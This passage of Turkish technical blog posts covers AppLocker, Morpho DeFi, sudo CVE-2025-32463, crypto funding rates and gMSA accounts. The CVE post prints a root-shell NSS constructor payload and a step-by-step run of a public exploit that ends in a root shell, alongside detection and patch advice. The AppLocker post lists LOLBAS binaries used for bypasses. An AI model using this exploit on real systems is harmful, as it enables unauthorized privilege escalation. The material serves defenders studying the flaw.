(izin verilen veya engellenecek olan) olay günlüğüne (Event Logs) kaydedilir. Kullanım Amacı: Üretim ortamını etkilemeden önce oluşturduğunuz politikaların etkisini test etmek ve mevcut uygulama envanterini (kim ne kullanıyor?) analiz etmek için idealdir. -2 Uygulama Modu (Enforce rules): Kurallar aktif olarak uygulanır. Beyaz listede olmayan ve kurallara uymayan tüm uygulamalar bloke edilir. Bu mod, politikalarınızdan emin olduktan sonra üretim ortamında kullanılır. Kritik Uyarı: Varsayılan Kurallar (Default Rules) AppLocker’da ilk kuralınızı oluşturduğunuz anda, varsayılan “her şeye izin ver” kuralı devre dışı kalır. Eğer bu aşamada varsayılan sistem kurallarını eklemezseniz, Windows’un kendisi de dahil olmak üzere kritik sistem bileşenleri çalışmaz hale gelir. Bu nedenle, ilk yapılandırmada mutlaka “Default Rules” oluşturulmalıdır. Bu kurallar temel olarak şunlara izin verir: BUILTIN\Administrators: Yöneticilerin her şeyi çalıştırmasına izin verir. %ProgramFiles%\*: Program Files klasöründeki uygulamalara izin verir. %WINDIR%\* veya %SystemRoot%\*: Windows sistem dosyalarının çalışmasına izin verir. (Best Practices) Şirket/Kurumsal Ortam için Öneriler Başarılı bir AppLocker dağıtımı için aşağıdaki en iyi uygulamalar takip edilmelidir: Audit ile Başlayın: Yeni kuralları asla doğrudan “Enforce” modunda uygulamayın. Her zaman Audit Only ile başlayın ve bir süre olay günlüklerini izleyerek yanlış yapılandırılmış bir kuralın kullanıcıların işini durdurmadığından emin olun. Publisher Kurallarını Tercih Edin: Mümkün olan her yerde Publisher (Yayıncı) kurallarını kullanın. Bu kurallar, uygulama güncellemelerinden (patch, update) etkilenmez, bu da yönetim yükünüzü azaltır. Engelleme (Deny) Kurallarını Dikkatli Kullanın: AppLocker bir beyaz liste çözümüdür. “Her şeyi engelle, sadece bunlara izin ver” mantığı daha güvenlidir. Deny (Engelle) kuralları, her zaman Allow (İzin Ver) kurallarından önce değerlendirilir ve kural çakışmalarına neden olabilir. Departman Bazlı (OU) Politikalar: Tüm şirkete tek bir politika uygulamak yerine, Active Directory’deki Organizasyonel Birimlere (OU) göre ayrı politikalar oluşturun. (Örn: Finans, IT, Üretim departmanlarının uygulama ihtiyaçları farklıdır). SRP (Software Restriction Policies) ile karıştırılmamalı: “AppLocker” SRP’nin gelişmiş versiyonudur (Win7’den sonra tavsiye edilen AppLocker’dır). DLL kuralları varsayılan olarak devre dışıdır: Performans maliyeti yüksektir, genellikle sadece yüksek güvenlik ihtiyacı olan senaryolarda kullanılır. Envanter Çıkarın: Audit Only modunu kullanarak “Kullanıcılar hangi uygulamaları gerçekten kullanıyor?” sorusunun cevabını loglardan öğrenin. Bu envantere göre beyaz listenizi oluşturun. cGPO ve Lokal Politikalar:** GPO ile dağıtılan AppLocker kuralları, ilgili bilgisayardaki lokal AppLocker kurallarını her zaman ezer (override eder). Beyaz Liste (Whitelist) Önceliği: Önce çalışması gereken tüm uygulamalara (sistem, antivirüs, ofis yazılımları vb.) izin veren bir beyaz liste oluşturun. Daha sonra spesifik olarak engellemek istediğiniz (blacklist) uygulamalar için Deny kuralı yazabilirsiniz. Olay Günlüğü Yönetimi (Event Log Management) AppLocker’ın ne yaptığını anlamak için olay günlükleri hayati önem taşır. Log Yolu: Applications and Services Logs → Microsoft → Windows → AppLocker Bu yolun altında her dosya tipi (EXE and DLL, MSI and Script, Packaged App) için ayrı alt günlükler bulunur. Önemli Event ID’ler Event ID Açıklama 8003 Uygulamanın çalışmasına izin verildi (Denetim modunda). 8004 Uygulama engellendi (Uygulama modunda). 8005 Kural yoksayıldı (Denetim modunda, engellenecekti). 8006 Kural yoksayıldı (Uygulama modunda, engellenecekti). 8007 Kural silindi. Not: 8004 (Engellendi) ve 8003 (İzin Verildi - Audit) logları, politikanızın etkisini analiz etmek için en kritik olanlardır. Bilinen Zafiyetler ve Bypass Senaryoları AppLocker güçlü bir araç olsa da, Windows’un bazı yerleşik araçları (LOLBAS - Living Off The Land Binaries) kötüye kullanılarak atlatılabilir. Güvenlik ekiplerinin bu senaryoları bilmesi ve bunlara karşı ek önlemler (örn. betik kuralları, PowerShell kısıtlamaları) alması önemlidir: InstallUtil.exe (.NET assembly çalıştırma) MSBuild.exe (C# kodu derleme/çalıştırma) Rundll32.exe (DLL fonksiyonlarını çağırma) Regsvr32.exe (Scriptlet çalıştırma) WMIC.exe (XSL betiklerini çalıştırma) PowerShell.exe (Çeşitli kısıtlama atlatma teknikleri) AppLocker Dezavantajları Sadece Windows Enterprise ve Education sürümlerinde çalışır (2025) User-mode çalıştığı için kernel driver’lar tarafından atlatılabilir Dosyanın en ufak bir güncelleme alması (hash değerinin değişmesi) kuralın bozulmasına… neden olabilir. Deny kuralı her zaman önce işlenir, bir grubun üyesi aynı zamanda Domain Users üyesi veya Everyone ise, Deny kuralı ezici olur ve engellenir. Çözüm olması açısından Exceptions (İstisnalar) eklemek yeterli olacaktır. Ayrıca bir özel alt grup oluşturmayıda düşünebilirsiniz. Örnek: * Domain Users * —> “guler-com-all-users” PowerShell ile Yönetim AppLocker politikaları PowerShell komutları ile de yönetilebilir, yedeklenebilir ve dağıtılabilir. 1 2 3 4 5 6 7 8 9 10 # Mevcut AppLocker policy'sini bir XML dosyasına aktar (Yedekleme) Export-AppLockerPolicy -Xml -FilePath C:\temp\AppLocker.xml # XML dosyasından policy'i mevcut sisteme uygula (Geri Yükleme/Dağıtım) Set-AppLockerPolicy -XmlPolicy C:\temp\AppLocker.xml # Policy içindeki tüm 'Engelleme' (Deny) kurallarını göster Get-AppLockerPolicy -Xml | Select-Xml "//Rule[@Action='Deny']" | ForEach-Object {$_.Node} ---- Referanslar: https://en.wikipedia.org/wiki/AppLocker --- ## Morpho (MORPHO) Nedir? DeFi Borç Verme Piyasasının Evrimi Link: https://farukguler.com/posts/morpho-nedir/ Morpho (MORPHO), bir Layer 1 blockchain veya tipik bir merkeziyetsiz uygulama (dApp) değildir. O, Aave ve Compound gibi mevcut devasa borç verme protokollerinin verimsizliğini ve esnek olmayan yapısını çözmek için tasarlanmış bir DeFi “meta-protokolü” veya bir “borç verme ilkelidir” (lending primitive). Morpho’nun evrimleşen misyonu, borç verme (lending) ve borç alma (borrowing) işlemlerini daha verimli, daha esnek ve daha az riskli hale getirmektir. MORPHO, bu ekosistemi yöneten, protokol hazinesini kontrol eden ve gelecekteki değer akışını belirleyecek olan yerel (native) yönetişim (governance) token’ıdır. “DeFi Borç Verme Problemi” Nedir? Aave ve Compound gibi geleneksel borç verme protokolleri, “Havuzdan Eşleşme” (Pool-to-Peer) modelini kullanır: Verimsizlik: Tüm borç verenler (lenders) varlıklarını dev bir “havuza” (örn. USDC havuzu) yatırır. Tüm borç alanlar (borrowers) bu havuzdan borçlanır. Problem: Bu modelde, borç alanın ödediği faiz (örn. %5) ile borç verenin kazandığı faiz (örn. %3) arasında her zaman bir “makas” (spread) vardır. Bu %2’lik fark, protokolün “güvenlik marjıdır” ancak bu, sermayenin verimsiz kullanıldığı ve her iki tarafın da (borç veren ve alan) daha iyi bir oran alamadığı anlamına gelir. Esneksizlik: Hangi varlıkların listeleneceğine, hangi teminatların kabul edileceğine ve risk parametrelerinin (LTV) ne olacağına merkezi bir DAO (Aave DAO, Comp DAO) karar verir. Bu süreç yavaş, politiktir ve riskleri tek bir sepette toplar. Morpho’nun Çözümü: Optimizer’dan “Blue”ya Evrim Morpho, bu sorunu iki aşamada çözdü: 1. Morpho Optimizer (Eski Model) Morpho’nun ilk versiyonu, Aave ve Compound’un üzerine oturan akıllı bir katmandı. Kullanıcılar Morpho üzerinden Aave’ye para yatırdığında, Morpho arka planda bir borç veren ile bir borç alanı doğrudan (Peer-to-Peer) eşleştirmeye çalışırdı. Eşleşme Bulunursa: Her iki taraf da “havuz makasını” atlatır ve daha iyi bir faiz oranı (P2P oranı) alırdı. Eşleşme Bulunmazsa: Kullanıcılar standart Aave/Compound havuz oranına (daha düşük verim) geri dönerdi. Sonuç: Bu model verimliliği artırdı ancak hâlâ Aave’nin risk modeline ve esnek olmayan yapısına bağımlıydı. 2. Morpho Blue (Yeni ve Asıl Protokol) Bu, Morpho’nun asıl devrimidir. Morpho Blue, Aave’nin “üzerinde” çalışan bir optimize edici değil, sıfırdan inşa edilmiş rakip bir “borç verme ilkelidir” (primitive). Morpho Blue, bir borç verme piyasasının 3 temel bileşenini “ayrıştırır” (unbundles): Borç Verilen Varlık (örn. USDC) Teminat Varlığı (örn. WBTC) Risk Yönetimi (LTV, Likidasyon, Oracle vb.) Nasıl Çalışır? Morpho Blue, sadece “borç al / borç ver” komutlarını içeren minimalist bir ana akıllı sözleşme sağlar. Artık herhangi biri (örn. bir DAO, bir banka, bir risk uzmanı), bu ana sözleşmeyi kullanarak kendi izole borç verme piyasasını yaratabilir. Örnek: Bir risk DAO’su, “WBTC teminatına karşı USDC borç al, %85 LTV ile, Chainlink Oracle kullanarak” adlı izole bir piyasa başlatabilir. Başka bir DAO, “stETH teminatına karşı ETH borç al, %90 LTV ile, başka bir Oracle kullanarak” tamamen farklı bir piyasa başlatabilir. Ana Avantaj: Risk İzolasyonu. Bu modelde, Aave’deki “CRV krizi” gibi bir olay yaşanmaz. Eğer “WBTC/USDC” piyasası dışı bir varlıkta (örn. “ÇÖPCOIN/USDC” piyasası) bir sorun yaşanırsa, bu sorun sadece o izole piyasayı etkiler. Diğer tüm piyasalar (WBTC, stETH) güvenli bir şekilde çalışmaya devam eder. MORPHO Token: Token Arzı, Ekonomi ve Gelecek Beklentisi Token Arzı ve Dağılımı Maksimum Arz: 1 Milyar MORPHO (1.000.000.000). Dağılım Modeli: Token’ların %51’i DAO Hazinesine (Topluluk), %19’u Ekibe/Danışmanlara, %21’i Yatırımcılara ve %9’u kurucu şirket olan Morpho Labs’a ayrılmıştır. Airdrop: Token’ların önemli bir kısmı, Morpho Optimizer’ı (ilk versiyonu) kullanan ilk kullanıcılara “Airdrop” olarak (Ages 1, 2, 3) dağıtılmıştır. Enflasyon: Sabit bir enflasyon modeli yoktur, ancak DAO hazinesi (tüm MORPHO sahipleri) gelecekte teşvik programları (incentives) için token dağıtımına karar verebilir. Mevcut Kullanım Alanı: Yönetişim Tıpkı UNI gibi, MORPHO’nun mevcut temel işlevi Yönetişimdir. MORPHO sahipleri, ekosistemin tamamını yönetir: DAO hazinesindeki devasa varlıkları (yüz milyonlarca dolar değerinde) kontrol ederler. Morpho Blue üzerinde hangi Oracle’ların veya hangi risk yönetimi modellerinin “güvenilir” olarak listeleneceğine karar verirler. Protokolün gelecekteki potansiyel ücret mekanizmalarını oylarlar. Gelecek Beklentisi ve “Acı Gerçekler” MORPHO’nun gelecekteki değeri, iki temel faktöre bağlıdır: 1. Pozitif Beklenti (The Bull Case): Morpho Blue’nun “ayrıştırılmış” ve “izole” modeli, Aave’nin “monolitik” (tek parça) ve verimsiz modelini yener. Kurumlar ve profesyonel DeFi kullanıcıları, kendi özel risk parametrelerini belirleyebildikleri için Morpho Blue’yu tercih eder. MetaMorpho: “Perakende” kullanıcılar için, MetaMorpho adı verilen “vault” (kasa) sözleşmeleri geliştirilir. Bu kasalar, kullanıcıların parasını (örn. USDC) alır ve otomatik olarak birçok farklı izole piyasaya dağıtarak riski optimize eder. Sonuç: Morpho Blue, tüm DeFi borç vermenin “temel katmanı” (base layer) haline gelir. Bu trilyon dolarlık pazarı yöneten MORPHO token’ı, gelecekte (tıpkı UNI’nin “fee switch” tartışması gibi) bu işlemlerden bir protokol ücreti (değer yakalama) mekanizmasını oylayarak “verim sağlayan bir varlığa” (productive asset) dönüşür. 2. Negatif Beklenti (The Bear Case / Acı Gerçekler): Gerçek 1 (Likidite Kıtlığı): Aave’nin “tek devasa havuz” modelinin bir avantajı vardır: Derin likidite. Morpho Blue’nun “izole piyasalar” modeli, likiditeyi parçalar (fragmentation). WBTC/USDC piyasası, stETH/USDC piyasası, ARB/USDC piyasası… Hepsinin ayrı likiditesi olur. Bu, havuzların “sığ” (thin) kalmasına ve kullanıcıların Aave’den daha kötü faiz oranları almasına neden olabilir. Bu, projenin önündeki en büyük teknik engeldir. Gerçek 2 (Aşırı Karmaşıklık): Morpho Blue, son kullanıcı (retail) için değildir. Çok karmaşıktır. Başarısı, 100% MetaMorpho gibi üçüncü parti “kasa” (vault) geliştiricilerinin başarısına bağlıdır. Gerçek 3 (Token Değeri): Tıpkı UNI gibi, MORPHO şu anda protokol geliri yaratmaz. Değeri, DAO hazinesindeki varlıklara ve gelecekteki bir “değer yakalama” mekanizmasının potansiyeline dayanmaktadır. Bu, spekülatif bir geleceğe yapılmış bir yatırımdır. Sonuç Morpho, Aave ve Compound’un yarattığı devrim üzerine inşa edilmiş, “DeFi 2.0” veya “3.0” olarak adlandırılabilecek, son derece yenilikçi bir protokoldür. O, verimlilik ve risk izolasyonunu “basitlik ve derin likiditeye” tercih eden bir bahistir. MORPHO token’ı ise, DeFi’nin gelecekteki temel borç verme katmanının “hissedarı” olma potansiyeline bir yatırımdır. Başarısı, likidite parçalanması sorununu aşıp aşamayacağına ve topluluğun gelecekte bir “değer yakalama” mekanizmasını etkinleştirip etkinleştirmeyeceğine bağlıdır. --- ## CVE: Sudo Chroot CVE-2025-32463 Link: https://farukguler.com/posts/sudo-chwoot-cve-2025-32463/ Bu yazımda, kısa bir süre önce yayınlanan ve sudo’nun chroot (chwoot) fonksiyonunu etkileyen kritik bir yerel yetki yükseltme zafiyeti olan CVE-2025-32463‘ü inceleyeceğiz. Bu açık, sistemde sudo kuralı tanımlı olmayan sıradan kullanıcıların bile root yetkileri elde etmesine olanak tanımaktadır. Nasıl Çalışıyor? Zafiyet, sudo’nun -R veya --chroot parametresinin kullanımı sırasında, belirtilen kök dizine (chroot dizini) geçilerek komut eşleştirme işleminin bu ortamda yapılmasından kaynaklanmaktadır. Bu süreçte, saldırgan chroot dizinine sahte bir /etc/nsswitch.conf yerleştirerek, sudo’nun kötü niyetli bir shared object dosyasını (libnss_*.so) yüklemesini sağlayabilir. Bu dosya sayesinde, sistemde root haklarıyla bir shell başlatılabilir. Etkilenen Versiyonlar Sudo 1.9.14 – 1.9.17 Etkilenmeyen sürümler: Sudo <= 1.8.32 (çünkü chroot desteği bu sürümlerde yoktur) Versiyon kontorolü için şu komutu kullanabilirsiniz: sudo -V | grep "Sudo version" Zafiyetin Etkisi Sudo konfigürasyonunda hiçbir izin tanımlanmamış olsa bile, sistemde yüklü olan savunmasız sudo sürümü ile yerel bir kullanıcı root erişimi elde edebilir. Bu durum, sistemin bütünlüğü, gizliliği ve erişilebilirliği üzerinde ciddi tehditler oluşturur. Detaylı Teknik Açıklama Zafiyetin kökeni, sudo’nun chroot() çağrısını sudoers kuralı eşleştirilmeden önce yapmasıdır. Bu sayede: pivot_root() ve unpivot_root() ile sistem geçici olarak chroot ortamına alınır, Bu ortamda /etc/nsswitch.conf içindeki servis girdileri işlenir (örn: passwd: /woot1337), Bu girdiler, libnss_woot1337.so.2 gibi saldırgan tarafından hazırlanan .so dosyalarının yüklenmesine sebep olur. Bu shared object dosyası, constructor niteliğinde bir woot() fonksiyonu içerir: 1 2 3 4 5 __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); execl("/bin/bash", "/bin/bash", NULL); } Bu fonksiyon çalıştığında, shell doğrudan root olarak başlatılır. Nasıl Sömürülür? İlk olarak sömürü repomuzu aşağıdaki gibi sisteme klonluyoruz: 1 2 3 4 5 6 7 8 9 ┌──(kali㉿kali)-[~] └─$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git Cloning into 'CVE-2025-32463_chwoot'... remote: Enumerating objects: 9, done. remote: Counting objects: 100% (9/9), done. remote: Compressing objects: 100% (7/7), done. remote: Total 9 (delta 2), reused 9 (delta 2), pack-reused 0 (from 0) Receiving objects: 100% (9/9), done. Resolving deltas: 100% (2/2), done. Daha sonra CVE-2025-32463_chwoot dizinine geçiyoruz: 1 2 ┌──(kali㉿kali)-[~] └─$ cd CVE-2025-32463_chwoot Şimdi de son olarak exploiti çalıştırıyoruz: 1 2 3 4 5 6 ┌──(kali㉿kali)-[~/CVE-2025-32463_chwoot] └─$ ./sudo-chwoot.sh woot! ┌──(root㉿kali)-[/] └─# id uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),107(bluetooth),115(scanner),126(lpadmin),134(wireshark),136(kaboxer),1000(kali) Tespit Sistem loglarında CHROOT= içeren sudo komutlarını kontrol edin. /etc/sudoers ve /etc/sudoers.d/ dizinlerinde CHROOT= veya runchroot= içeren satırları arayın. ldapsearch gibi araçlarla LDAP üzerinden tanımlanmış sudo kurallarını da gözden geçirin. Sistemlerdeki Sudoers konfigürasyon dosyası aşağıdaki komutla kontrol edilmelidir. Eğer Aşağıdaki komut bir çıktı üretiyorsa zafiyet var demektir. 1 2 “grep 'ALL.*!root' /etc/sudoers /etc/sudoers.d/*” “bob myhost = (ALL, !root) /usr/bin/vi” Önlem ve Güncelleme Sudo’yu 1.9.17p1 veya daha yeni bir sürüme güncelleyin. Bu güncelleme, sudoers eşleştirme sırasında chroot() çağrısını devre dışı bırakır. Gelişmiş sistemlerde AppArmor/SELinux gibi kontrol mekanizmalarıyla sudo komutlarını izole edin. Referanslar https://nvd.nist.gov/vuln/detail/CVE-2025-32463 https://www.sudo.ws/security/advisories/ https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot https://github.com/pr0v3rbs/CVE-2025-32463_chwoot Okuduğunuz için teşekkür ederim. thnx: by BilalGns --- ## Funding Rate (Fonlama Oranı) Nedir? Link: https://farukguler.com/posts/funding-rate-nedir/ Funding Rate (Fonlama Oranı), kripto para piyasalarındaki “Perpetual” (Sürekli) Vadeli İşlem sözleşmelerinin fiyatını, dayanak varlığın Spot (Anlık) Fiyatına bağlı (pegged) tutmak için kullanılan hayati bir mekanizmadır. Bu sözleşmelerin bir “son kullanma tarihi” olmadığı için, fiyatların spot piyasadan sonsuza kadar uzaklaşmasını engellemek zorunludur. Fonlama oranı, tam olarak bu dengeyi sağlar. Fonlama Oranının Temel Özellikleri Verdiğiniz bilgiler son derece doğru: Piyasa Dengeleyici: Vadeli (futures) fiyat ile spot fiyat arasındaki sapmayı önler. Periyot: Genellikle her 8 saatte bir (borsaya göre 1 veya 4 saat de olabilir) uygulanır. P2P Ödemesi: Bu bir borsa ücreti değildir. Ödeme, doğrudan alıcı (long) ve satıcı (short) pozisyondaki trader’lar arasında yapılır. Yön: Pozitif Funding Rate: Long (uzun) pozisyon sahipleri, Short (kısa) pozisyon sahiplerine ödeme yapar. Negatif Funding Rate: Short pozisyon sahipleri, Long pozisyon sahiplerine ödeme yapar. Mekanizma Neden Var? Arbitraj Fırsatı Fonlama oranının var olma nedeni arbitrajı teşvik etmektir. Bu mekanizma, piyasa yapıcıları ve arbitraj botlarını, fiyatı spot seviyesine geri getirmeye “teşvik eder”. Senaryo 1: Fiyatlar Yükseliyor (Pozitif Funding) Piyasada alım iştahı (Greed) çok yüksektir. Herkes “Long” pozisyon açar. Bu talep, vadeli işlem fiyatını, spot fiyatın (örn. Spot BTC 60.000$) üzerine (örn. Vadeli BTC 60.100$) iter. Fiyatlar saptığı için Fonlama Oranı Pozitif olur (örn. +0.05%). Bu, “Long pozisyonda olmanın bir maliyeti var, short pozisyonda olana 8 saatte bir %0.05 ödenecek” demektir. Arbitrajcı Ne Yapar? Fırsatı görür: 60.100$’dan vadeli BTC’yi short’lar. Aynı anda 60.000$’dan spot BTC alır (long’lar). Bu “delta-nötr” pozisyonla 8 saatte bir %0.05’lik fonlama oranını risk almadan kazanır. Yaptığı short işlemi, vadeli fiyatı aşağıya, yani spot fiyata doğru geri çeker. Senaryo 2: Fiyatlar Düşüyor (Negatif Funding) Piyasada panik (Fear) hakimdir. Herkes “Short” pozisyon açar. Bu arz, vadeli işlem fiyatını, spot fiyatın (örn. Spot BTC 60.000$) altına (örn. Vadeli BTC 59.900$) iter. Fiyatlar saptığı için Fonlama Oranı Negatif olur (örn. -0.05%). Bu, “Short pozisyonda olmanın bir maliyeti var, long pozisyonda olana 8 saatte bir %0.05 ödenecek” demektir. Arbitrajcı Ne Yapar? 59.900$’dan vadeli BTC’yi long’lar. Aynı anda elindeki spot BTC’yi 60.000$’dan satar (short’lar). Risk almadan %0.05 kazanır. Yaptığı long işlemi, vadeli fiyatı yukarıya, yani spot fiyata doğru geri çeker. Coin Funding Rate Anlamı CRV -1.1268% Aşırı Negatif (Short pozisyonlar aşırı fazla) RVN 0.0100% Nötr / Hafif Pozitif (Dengeli veya hafif long eğilimli) PHA 2.3803% Aşırı Pozitif (Long pozisyonlar aşırı fazla) Strateji: Fonlama Oranı ve Açık Faiz (Open Interest) Fonlama oranı, piyasa duyarlılığını (sentiment) gösteren bir pusuladır. Ancak bir “squeeze” (sıkışma) tahmin etmek için tek başına yeterli değildir. İhtiyacımız olan ikinci kritik veri Açık Faiz (Open Interest - OI)‘dir. Açık Faiz (OI): Piyasada o anda açık olan (kapatılmamış) toplam long ve short pozisyonların toplam değeridir. Piyasada ne kadar “para” (bomba) biriktiğini gösterir. Gerçek tehlike senaryosu şudur: Yüksek Fonlama Oranı + Yüksek Açık Faiz Bu, piyasanın tek bir yöne (long veya short) aşırı kalabalıklaştığını (crowded trade) ve büyük bir “av” (likidite) biriktiğini gösterir. 📈 Funding Rate Anlamları ve Strateji Tablosu Aşağıdaki tablo, fonlama oranını okumak için genel bir rehberdir. (Not: Aşırı yüksek/düşük oranlar, bir squeeze için ana sinyaldir.) Oran (8 Saatlik) Piyasa Yorumu Potansiyel Strateji (Riskli!) 0.05% ve üstü Aşırı Pozitif (Aşırı Açgözlülük) Piyasada long pozisyonlar aşırı birikmiş. “Long” olmak çok pahalı. Kontra SHORT Arama. Piyasa, long pozisyonları “avlamak” (long squeeze) için bir düşüşe çok müsaittir. 0.01% - 0.05% Pozitif (Yükseliş Beklentisi) Piyasada long iştahı var, ancak henüz aşırı değil. Teknik analize göre işlem yapılabilir. Trendi takip et (long). -0.01% ile 0.01% Nötr (Dengeli Piyasa) Standart oran. Long ve short pozisyonlar dengeli. Piyasa yönsüzdür. Teknik analize odaklanılmalı. -0.01% - -0.05% Negatif (Düşüş Beklentisi) Piyasada short iştahı var, ancak henüz aşırı değil. Teknik analize göre işlem yapılabilir. Trendi takip et (short). -0.05% ve altı Aşırı Negatif (Aşırı Korku/Panik) Piyasada short pozisyonlar aşırı birikmiş. “Short” olmak çok pahalı. Kontra LONG Arama. Piyasa, short pozisyonları “avlamak” (short squeeze) için bir yükselişe çok müsaittir. 🎯 Squeeze Nedir? (Long vs. Short) Squeeze, fonlama oranının ve açık faizin zirve yaptığı anlarda, piyasa yapıcıların (veya “balinaların”) biriken bu likiditeyi (stop-loss emirleri ve likidasyon seviyeleri) patlatmak için fiyatı ani ve sert bir şekilde hareket ettirmesidir. Long Squeeze (Long Sıkışması) Durum: Piyasa aşırı long (alım) pozisyondadır. Fonlama oranı çok pozitiftir (+0.05% ve üstü) ve Açık Faiz yüksektir. Herkes yükseliş beklemektedir. Tetikleyici: Balinalar, fiyatı kasıtlı olarak aşağı doğru sertçe satar. Sonuç: Fiyat düştükçe, long pozisyonların stop-loss emirleri tetiklenir (bu da satışı artırır). Fiyat daha da düşünce, kaldıraçlı long pozisyonlar likide olmaya (sıfırlanmaya) başlar. Her likidasyon, otomatik bir “satış” emridir ve bu da fiyatın daha da sert düşmesine (kademeli çöküş / cascade) neden olur. Fiyat hızla düşer. Short Squeeze (Short Sıkışması) Durum: Piyasa aşırı short (satış) pozisyondadır. Fonlama oranı çok negatiftir (-0.05% ve altı) ve Açık Faiz yüksektir. Herkes düşüş beklemektedir. Tetikleyici: Balinalar, fiyatı kasıtlı olarak yukarı doğru sertçe alır. Sonuç: Fiyat yükseldikçe, short pozisyonların stop-loss emirleri tetiklenir (bu da alışı artırır). Fiyat daha da yükselince, kaldıraçlı short pozisyonlar likide olmaya (sıfırlanmaya) başlar. Her likidasyon, otomatik bir “alış” emridir ve bu da fiyatın daha da sert yükselmesine (kademeli ralli) neden olur. Fiyat hızla yükselir. (Örn: GameStop olayı veya 2021’deki birçok kripto rallisi). Özet Fonlama oranı, bir pozisyonu tutmanın maliyetini veya getirisini gösteren bir araçtır. Açık Faiz ise o pozisyonda ne kadar barut biriktiğini gösterir. Bir trader, bu iki veriyi birleştirerek piyasanın aşırı kalabalık olup olmadığını analiz edebilir ve potansiyel sıkışma (squeeze) fırsatlarını kollayabilir. --- ## Yönetilen Hizmet Hesapları (sMSA ve gMSA) Kullanımı Hakkında Link: https://farukguler.com/posts/what-is-gmsa-and-smsa/ Yönetilen Hizmet Hesapları (Managed Service Accounts - MSA), sistem yöneticilerinin Active Directory ortamında servisler ve uygulamalar için daha güvenli bir altyapı sağlamalarına yardımcı olan özel domain hesaplarıdır. Normal kullanıcı hesaplarını hizmet hesapları olarak kullanan birçok kuruluş, parola değişimlerinde servislerin kesintiye uğramaması için karmaşık olmaktan ziyade basit ve statik parolalar belirleme eğilimindedir. Yönetilen hesaplar bu güvenlik zafiyetini ve operasyonel yükü tamamen ortadan kaldırır. Hesap Türleri Arasındaki Farklar 1. Normal Hizmet Hesapları (Standart AD Kullanıcıları): Bir hizmet veya zamanlanmış görevi çalıştırmak için kullanılan standart Active Directory kullanıcı hesaplarıdır. Parolayı manuel olarak ayarlamanız ve yönetmeniz gerekir. Parolalar genellikle süresiz (never expire) olarak ayarlanır ve nadiren değiştirilir, bu da büyük bir güvenlik riski oluşturur. Varsayılan olarak birden fazla bilgisayarda kullanılabilir. 2. sMSA (Stand-Alone Managed Service Account): Hizmetleri çalıştırmak için özel tasarlanmıştır. Güçlü ve karmaşık (240 baytlık) şifreler kullanır. Active Directory, şifreyi varsayılan olarak her 30 günde bir otomatik olarak yeniler. En önemli kısıtlaması: Yalnızca tek bir bilgisayara/sunucuya bağlanabilir ve sadece o makinede kullanılabilir. 3. gMSA (Group Managed Service Account): MSA’ların işlevselliğini genişletir. Aynı yönetilen hizmet hesabının birden fazla bilgisayarda (Örn: Web Farm, Cluster, ADFS) aynı anda kullanılmasına izin verir ve yük dengeleme (load-balance) senaryolarını destekler. Ön Koşullar ve Desteklenen Sistemler sMSA için ortamda Windows Server 2008 R2 veya daha yeni bir Etki Alanı Denetleyicisi (DC) bulunmalıdır. gMSA kullanımı için ise Forest işlev düzeyi (Forest Functional Level) en az Windows Server 2012 olmalı ve AD Schema versiyonu en az 52 (Windows Server 2012) olmalıdır. Windows 7 ve Windows Server 2008 R2 işletim sistemlerinde de MSA çalışabilmektedir, ancak günümüzde “not-supported” (desteklenmeyen) durumdadır. Yönetilecek sunucuların domain’e katılmış (domain-joined) olması gerekir. İşlemler için Active Directory yönetim haklarına sahip bir kullanıcı (Örn: Domain Admin) ve AD PowerShell modülü gereklidir. [!TIP] Geçiş Öncesi İpucu: Yönetilen hizmet hesaplarına (MSA/gMSA) geçiş yapmadan önce, ortamınızdaki mevcut tüm geleneksel hizmet hesaplarını tespit etmek ve nerede kullanıldıklarını bulmak (envanter çıkarmak) geçiş sürecini çok daha güvenli ve planlı hale getirecektir. Güvenlik ve En İyi Uygulamalar (Best Practices) Yönetilen hizmet hesaplarını yapılandırırken aşağıdaki güvenlik standartlarına uyulması tavsiye edilir: En Az Ayrıcalık İlkesi (Principle of Least Privilege): gMSA hesaplarına asla Domain Admin veya Enterprise Admin gibi yüksek ayrıcalıklı yetkiler vermeyin. Sadece çalıştıracağı servisin ihtiyaç duyduğu minimum yetkilerle donatın. Güvenlik Grupları Kullanımı: PrincipalsAllowedToRetrieveManagedPassword parametresine doğrudan sunucu adlarını girmek yerine, her gMSA için Active Directory’de özel bir Güvenlik Grubu (Security Group) oluşturun ve sunucuları bu gruba ekleyin. Bu sayede yönetim çok daha kolay ve güvenli olur. Aşırı Paylaşımdan Kaçının (Avoid Over-Sharing): Aynı gMSA hesabını, birbirleriyle ilgisi olmayan farklı servis kümelerinde (Örn: Hem Web farm hem de Veritabanı cluster’ı) kullanmayın. Her izole sistem için ayrı bir gMSA hesabı oluşturun. ADIM 1: KDS Kök Anahtarını (Root Key) Oluşturma (Ortak Adım) Etki alanı denetleyicileri, gMSA ve MSA’lar için benzersiz parolalar oluşturmak ve saklamak amacıyla Anahtar Dağıtım Hizmeti (KDS) kök anahtarına ihtiyaç duyar. [!IMPORTANT] Her Active Directory Forest’ı için yalnızca bir adet KDS Root Key oluşturulmalıdır. Üretim ortamı için (Anahtarın tüm DC’lere çoğaltılması 10 saat sürebilir): 1 Add-KdsRootKey -EffectiveImmediately “Key does not exist” Hatası: Kök anahtar tüm DC’lere çoğaltılmadan hesap açmaya çalışırsanız bu hatayı alırsınız. Test ortamındaysanız veya hemen hesabı kullanmak istiyorsanız, başlangıç zamanını 10 saat geriye ayarlayabilirsiniz: 1 2 # KDS Root Key'i 10 saat geçmişten başlatarak hemen aktif hale getirir Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10) Anahtarın başarıyla oluşturulduğunu kontrol etmek için: 1 Get-KdsRootKey ADIM 2: Hesap Oluşturma ve Yetkilendirme İhtiyacınıza göre gMSA veya standart sMSA oluşturabilirsiniz. Oluşturulan hesaplar ADUC konsolunda varsayılan olarak Managed Service Accounts kapsayıcısında tutulur. Seçenek A: gMSA Oluşturma (Çoklu Sunucu İçin) Hesaba erişim vereceğiniz sunucuları bir Active Directory Security Group (Örn: SQL_Sunuculari) içinde toplayın. 1 2 3 New-ADServiceAccount -Name "SQLServices" ` -DNSHostName "sqlservices.domain.local" ` -PrincipalsAllowedToRetrieveManagedPassword "SQL_Sunuculari" [!IMPORTANT] Kerberos 